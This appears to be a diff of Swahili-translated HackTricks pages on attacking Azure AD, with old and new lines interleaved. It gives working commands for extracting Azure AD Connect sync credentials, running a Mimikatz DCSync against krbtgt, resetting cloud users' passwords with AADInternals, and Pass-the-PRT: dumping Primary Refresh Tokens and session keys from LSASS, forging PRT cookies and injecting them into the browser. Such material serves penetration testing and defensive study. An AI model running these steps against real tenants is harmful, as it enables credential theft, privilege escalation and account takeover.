Nywila za akaunti hizo mbili zenye mamlaka zimehifadhiwa katika **seva ya SQL** kwenye seva ambapo **Azure AD Connect imewekwa.** Wasimamizi wanaweza kutoa nywila za watumiaji hao wenye mamlaka kwa maandiko wazi.\
Nywila za akaunti hizo mbili za kipaumbele **zinahifadhiwa katika seva ya SQL** kwenye seva ambapo **Azure AD Connect imewekwa.** Wasimamizi wanaweza kutoa nywila za watumiaji hao wa kipaumbele kwa maandiko wazi.\
Hifadhidata iko katika `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
Inawezekana kutoa usanidi kutoka moja ya meza, ikiwa moja imefungwa:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
**Usanidi uliofungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi inawezekana kupandisha hadhi hadi AD na AzureAD.
**Usanidi uliofungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi inawezesha kupandisha hadhi hadi AD na AzureAD.
Unaweza kupata [muonekano kamili wa jinsi akreditivu hizi zinavyohifadhiwa na kufunguliwa katika mazungumzo haya](https://www.youtube.com/watch?v=JEIR5oGCwdg).
@@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Kutumia MSOL\_\*
### Kutumia MSOL\_*
```powershell
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -57,7 +57,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
> Unaweza pia kutumia [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) kupata hizi sifa.
> Unaweza pia kutumia [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) kupata akreditivu hizi.
### Kutumia Sync\_\*
@@ -82,7 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Ni pia inawezekana **kubadilisha nywila za watumiaji wa wingu** pekee (hata kama hiyo siyo ya kutarajia)
Inawezekana pia **kubadilisha nywila za watumiaji wa wingu tu** (hata kama hiyo siyo ya kutarajia)
```powershell
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
@@ -91,14 +91,14 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
Ni uwezekano wa kutoa nenosiri la mtumiaji huyu.
Ni pia inawezekana kutoa nenosiri la mtumiaji huyu.
> [!CAUTION]
> Chaguo lingine lingekuwa **kupewa ruhusa za kipaumbele kwa huduma ya msingi**, ambayo mtumiaji wa **Sync** ana **ruhusa** ya kufanya, na kisha **kufikia huduma hiyo ya msingi** kama njia ya privesc.
### Seamless SSO
Ni uwezekano wa kutumia Seamless SSO na PHS, ambayo inakabiliwa na matumizi mengine mabaya. Angalia katika:
Inawezekana kutumia Seamless SSO na PHS, ambayo inakabiliwa na matumizi mengine mabaya. Angalia katika:
{{#ref}}
seamless-sso.md

View File

@@ -12,17 +12,17 @@ az-primary-refresh-token-prt.md
```
Dsregcmd.exe /status
```
Katika sehemu ya SSO State, unapaswa kuona **`AzureAdPrt`** imewekwa kwenye **NDIO**.
Katika sehemu ya SSO State, unapaswa kuona **`AzureAdPrt`** imewekwa kuwa **YES**.
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
Katika matokeo sawa unaweza pia kuona kama **kifaa kimeunganishwa na Azure** (katika uwanja `AzureAdJoined`):
Katika matokeo hayo hayo unaweza pia kuona kama **kifaa kimeunganishwa na Azure** (katika uwanja `AzureAdJoined`):
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
## PRT Cookie
Keki ya PRT kwa kweli inaitwa **`x-ms-RefreshTokenCredential`** na ni JSON Web Token (JWT). JWT ina **sehemu 3**, **header**, **payload** na **signature**, zilizogawanywa na `.` na zote zimekodishwa kwa url-safe base64. Keki ya kawaida ya PRT ina header na mwili ufuatao:
Keki ya PRT kwa kweli inaitwa **`x-ms-RefreshTokenCredential`** na ni JSON Web Token (JWT). JWT ina **sehemu 3**, **header**, **payload** na **signature**, zilizogawanywa na `.` na zote zimeandikwa kwa url-safe base64. Keki ya kawaida ya PRT ina header na mwili ufuatao:
```json
{
"alg": "HS256",
@@ -34,33 +34,33 @@ Keki ya PRT kwa kweli inaitwa **`x-ms-RefreshTokenCredential`** na ni JSON Web T
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
```
The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page.
**Primary Refresh Token (PRT)** halijumuishwa ndani ya **`refresh_token`**, ambayo imefungwa kwa ufunguo chini ya udhibiti wa Azure AD, ikifanya maudhui yake kuwa yasiyoonekana na yasiyoweza kufichuliwa kwetu. Sehemu ya **`is_primary`** inaashiria ufungaji wa tokeni ya msingi ya upya ndani ya tokeni hii. Ili kuhakikisha kwamba kuki inabaki imefungwa kwa kikao maalum cha kuingia ambacho ilikusudiwa, `request_nonce` inatumwa kutoka kwenye ukurasa wa `logon.microsoftonline.com`.
### PRT Cookie flow using TPM
### Mchakato wa Kuki ya PRT kwa kutumia TPM
The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).**
Mchakato wa **LSASS** utatuma kwa TPM **KDF context**, na TPM itatumia **session key** (iliyokusanywa wakati kifaa kilisajiliwa katika AzureAD na kuhifadhiwa katika TPM) na muktadha wa awali ili **kuunda** **key,** na hii **key iliyoundwa** inatumika **kusaini kuki ya PRT (JWT).**
The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes).
**KDF context ni** nonce kutoka AzureAD na PRT inayounda **JWT** iliyochanganywa na **muktadha** (bytes za nasibu).
Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**.
Hivyo, hata kama PRT haiwezi kutolewa kwa sababu iko ndani ya TPM, inawezekana kutumia LSASS ku **omba funguo zilizoundwa kutoka kwa muktadha mpya na kutumia funguo zilizozalishwa kusaini Cookies**.
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
## PRT Abuse Scenarios
## Mifano ya Unyanyasaji wa PRT
As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\
This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages.
Kama **mtumiaji wa kawaida** inawezekana **kuomba matumizi ya PRT** kwa kuomba LSASS kwa data ya SSO.\
Hii inaweza kufanywa kama **programu za asili** ambazo zinaomba tokeni kutoka **Web Account Manager** (broker wa tokeni). WAM inapeleka ombi kwa **LSASS**, ambayo inaomba tokeni kwa kutumia uthibitisho wa PRT ulio saini. Au inaweza kufanywa kwa **mchakato wa kivinjari (web)** ambapo **kuki ya PRT** inatumika kama **kichwa** kuthibitisha maombi kwa kurasa za kuingia za Azure AS.
As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs.
Kama **SYSTEM** unaweza **kuiiba PRT ikiwa haijalindwa** na TPM au **kuingiliana na funguo za PRT katika LSASS** kwa kutumia API za crypto.
## Pass-the-PRT Attack Examples
## Mifano ya Shambulio la Pass-the-PRT
### Attack - ROADtoken
### Shambulio - ROADtoken
For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**.
Kwa maelezo zaidi kuhusu njia hii [**angalia chapisho hili**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken itakimbia **`BrowserCore.exe`** kutoka kwenye saraka sahihi na kuitumia **kupata kuki ya PRT**. Kuki hii inaweza kisha kutumika na ROADtools kuthibitisha na **kupata tokeni ya upya ya kudumu**.
To generate a valid PRT cookie the first thing you need is a nonce.\
You can get this with:
Ili kuunda kuki halali ya PRT jambo la kwanza unahitaji ni nonce.\
Unaweza kupata hii kwa:
```powershell
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -100,7 +100,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
### Shambulio - Kutumia AADInternals na PRT iliyovuja
`Get-AADIntUserPRTToken` **inapata tokeni ya PRT ya mtumiaji** kutoka kwa kompyuta iliyojiunga na Azure AD au Hybrid. Inatumia `BrowserCore.exe` kupata tokeni ya PRT.
`Get-AADIntUserPRTToken` **inapata tokeni ya PRT ya mtumiaji** kutoka kwa kompyuta iliyounganishwa na Azure AD au Hybrid. Inatumia `BrowserCore.exe` kupata tokeni ya PRT.
```powershell
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -146,19 +146,19 @@ HttpOnly: Set to True (checked)
Kisha nenda kwenye [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
> Mengineyo yanapaswa kuwa ya chaguo-msingi. Hakikisha unaweza kuhuisha ukurasa na kuki haipotei, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa salama.
> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haiondoki, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haiondoki, unapaswa kuwa salama.
### Attack - Mimikatz
### Shambulio - Mimikatz
#### Steps
#### Hatua
1. **PRT (Primary Refresh Token) inachukuliwa kutoka LSASS** (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye.
2. **Key ya Kikao inachukuliwa ifuatayo**. Kwa kuwa funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) na kwa kuelewa matumizi yake, rejelea [Pass-the-cookie attack](az-pass-the-cookie.md).
2. **Key ya Kikao inachukuliwa ifuatayo**. Ikitolewa kwamba funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) na kwa kuelewa matumizi yake, rejea [Pass-the-cookie attack](az-pass-the-cookie.md).
3. Baada ya ufichuzi wa Key ya Kikao, **funguo iliyotokana na muktadha wa PRT inapatikana**. Hizi ni muhimu kwa **kuunda kuki ya PRT**. Kwa haswa, funguo iliyotokana inatumika kwa kusaini JWT (JSON Web Token) inayounda kuki. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana [hapa](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
> [!CAUTION]
> Kumbuka kwamba ikiwa PRT iko ndani ya TPM na sio ndani ya `lsass` **mimikatz haitakuwa na uwezo wa kuichukua**.\
> Hata hivyo, itakuwa inawezekana **kupata funguo kutoka kwa funguo iliyotokana na muktadha** kutoka kwa TPM na kuitumia **kusaini kuki (angalia chaguo 3).**
> Hata hivyo, itakuwa inawezekana kupata **funguo kutoka kwa funguo iliyotokana na muktadha** kutoka kwa TPM na kuitumia **kusaini kuki (angalia chaguo 3).**
Unaweza kupata **maelezo ya kina ya mchakato uliofanywa** ili kuchukua maelezo haya hapa: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
@@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
**Nakili** sehemu iliyoandikwa **Prt** na uihifadhi.\
Pia toa funguo ya kikao (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefichwa na tutahitaji kutumia funguo zetu za DPAPI kuzifungua.
Pia toa funguo ya kikao (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefungwa na tutahitaji kutumia DPAPI masterkeys zetu kuifungua.
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Ikiwa huoni data yoyote ya PRT inaweza kuwa kwamba **huna PRT yoyote** kwa sababu kifaa chako hakijajiunga na Azure AD au inaweza kuwa un **atumia toleo la zamani** la Windows 10.
> Ikiwa huoni data yoyote ya PRT inaweza kuwa kwamba **huna PRT zozote** kwa sababu kifaa chako hakijajiunga na Azure AD au inaweza kuwa unatumia **toleo la zamani** la Windows 10.
Ili **kufungua** funguo ya kikao unahitaji **kuinua** mamlaka yako hadi **SYSTEM** ili kukimbia chini ya muktadha wa kompyuta ili uweze kutumia **funguo ya DPAPI kufungua**. Unaweza kutumia amri zifuatazo kufanya hivyo:
Ili **kuifungua** funguo ya kikao unahitaji **kuinua** mamlaka yako hadi **SYSTEM** ili uendeshe chini ya muktadha wa kompyuta ili uweze kutumia **DPAPI masterkey kuifungua**. Unaweza kutumia amri zifuatazo kufanya hivyo:
```
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
@@ -196,7 +196,7 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
#### Chaguo 1 - Mimikatz Kamili
- Sasa unataka nakala ya thamani ya Muktadha:
- Sasa unataka kunakili thamani ya Muktadha:
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
@@ -210,7 +210,7 @@ Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
```
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
- Nenda kwenye [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote kwa login.microsoftonline.com na uingize kidakuzi kipya.
- Tembelea [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote vya login.microsoftonline.com na ingiza kidakuzi kipya.
```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
@@ -220,7 +220,7 @@ HttpOnly: Set to True (checked)
- Kisha nenda kwenye [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haipotei, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa salama.
> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haipotei, ikiwa inatoweka, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa salama.
#### Chaguo la 2 - roadrecon kutumia PRT
@@ -228,16 +228,16 @@ HttpOnly: Set to True (checked)
```bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
```
- Sasa tunaweza **kuomba tokeni** kwa kutumia kivinjari cha mwingiliano na `roadtx browserprtauth`. Ikiwa tutatumia amri `roadtx describe`, tunaona tokeni ya ufikiaji ina madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA.
- Sasa tunaweza **kuomba tokeni** kwa kutumia kivinjari cha mwingiliano na `roadtx browserprtauth`. Ikiwa tutatumia amri ya `roadtx describe`, tunaona kwamba tokeni ya ufikiaji inajumuisha madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA.
```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
```
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
#### Chaguo la 3 - roadrecon kutumia funguo zilizotokana
#### Chaguo 3 - roadrecon kutumia funguo zilizotokana
Kuwa na muktadha na funguo zilizotokana zilizotolewa na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na:
Kwa kuwa na muktadha na funguo zilizotokana zilizotolewa na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na:
```bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
```

View File

@@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
Ili kuanza majaribio unapaswa kuwa na ufikiaji na mtumiaji mwenye **idhini za Msomaji juu ya usajili** na **nafasi ya Msomaji wa Kimataifa katika AzureAD**. Ikiwa hata katika hali hiyo huwezi **kufikia maudhui ya Akaunti za Hifadhi** unaweza kurekebisha hilo kwa **nafasi ya Mchangiaji wa Akaunti ya Hifadhi**.
Ili kuanza majaribio, unapaswa kuwa na ufikiaji na mtumiaji mwenye **Ruhusa za Kusoma juu ya usajili** na **Jukumu la Global Reader katika AzureAD**. Ikiwa hata katika hali hiyo huwezi **kufikia maudhui ya Akaunti za Hifadhi**, unaweza kurekebisha hilo kwa kutumia **jukumu la Mchangiaji wa Akaunti ya Hifadhi**.
{{#include ../../banners/hacktricks-training.md}}